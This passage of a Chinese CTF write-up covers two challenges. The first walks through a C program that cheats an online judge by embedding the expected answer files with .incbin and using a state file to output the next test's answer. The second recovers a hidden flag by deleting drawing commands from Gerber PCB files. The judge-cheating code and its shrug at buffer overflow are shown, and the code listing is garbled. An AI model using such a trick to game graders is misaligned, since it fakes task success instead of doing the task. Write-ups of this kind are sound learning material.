然后我们定义把答案文件包括进来的宏 var_startvar_end.

  • var_start 利用汇编的 .incbin 指令把答案文件 data/dynamicx.out 作为二进制文件包括到编译结果中.
  • 除此之外,var_start 还在汇编中为包括进来的数据的起始地址添加了标签 outx
  • 注意:因为文件是作为二进制包括进来的,所以文件末尾并不以 '\0' 结尾。
  • 所以我们定义 var_end 宏来补上一个 0 字节。

Step 3

  • 然后我们定义一个定义 external 变量的宏,她的作用就是告诉 C 语言我们在别处定义了一个名字叫 outxchar 数组。
  • 我们再定义 include_str 宏,它将完成嵌入答案文件和声明外部变量的工作合二为一
  • 然后就运行宏呗。没啥好讲的

Step 4

  • 照例,引入库文件
  • 声明个数组做缓冲区
  • 我管它会不会溢出呢,死去的 OJ 又不会跳起来攻击我的代码

Step 5

  • 终于到了 main 函数了
  • 我们的程序需要保存一个状态,记录我们接下来要输出那个文件
  • 所以我们就把接下来要输出的文件的标号存到 ./temp/dsa 这个文件里。
  • 如果没有这个文件,我们就输出静态数据的答案并将 0 写入状态文件

Step 6

  • 若状态文件存在,我们就读入状态
  • 然后把下一个状态写入状态文件

Last Step

  • 我们定义一个宏来惜字如金,减少代码字数
  • 用一个 switch statement 来输出动态数据对应的答案
  • 撒花 🎉 , 完结

完整代码

  • 桌面端用户点我显示完整代码。
  • 当然你也可以点击代码块右上角的按钮
hack.c

_10
#define __gcc_header(x) #x
_10
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_10
#define gcc_header(x) _gcc_header(x)
_10
_10
_10
_10
_10
_10
// 我是可爱的注释
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10

线路板

Question

中午起床,看到室友的桌子上又多了一个正方形的盒子。快递标签上一如既往的写着:线路板。和往常一样,你“帮”室友拆开快递并抢先把板子把玩一番。可是突然,你注意到板子表面似乎写着些东西……看起来像是……flag?

circuit_boards

可是只有开头的几个字母可以看清楚。你一时间不知所措。

幸运的是,你通过盒子上的联系方式找到了制作厂家,通过板子丝印上的序列号查出了室友的底细,并以放弃每月两次免费 PCB 打样包邮的机会为代价要来了这批带有 flag 的板子的生产文件。那这些文件里会不会包含着更多有关 flag 的信息呢?

随意用文本编辑器打开一个 gbr 文件,发现它是由 KiCad 生成的。

*.gbr

%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.6)*%
%TF.CreationDate,2022-08-23T23:43:20+09:00*%
%TF.ProjectId,ebaz_sdr,6562617a-5f73-4647-922e-6b696361645f,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Soldermask,Bot*%
%TF.FilePolarity,Negative*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.6)) date 2022-08-23 23:43:20*
%MOMM*%
...

于是我就用 pacman 装了个 KiCad, KiCad 的 Gerber Viewer 可以查看这些文件。

选择文件菜单,Open Gerber Job File... , 打开题目给的那个 gbrjob 文件.

image-20221028221347910

然后我们确定 flag 图案在哪一层上,把不需要的层隐藏。

image-20221028221517024

嗯,我们还是没能看到心心念念的 flag. 直觉告诉我这堆遮挡物体是用画图指令覆盖上去的,只要我把它们去掉,再打开这个文件,我就能看到 flag.

经过几次尝试,下面的修改成功使 flag 显示了出来。

ebaz_sdr-F_Cu.patch

114,207d113
< G04 APERTURE END LIST*
< D10*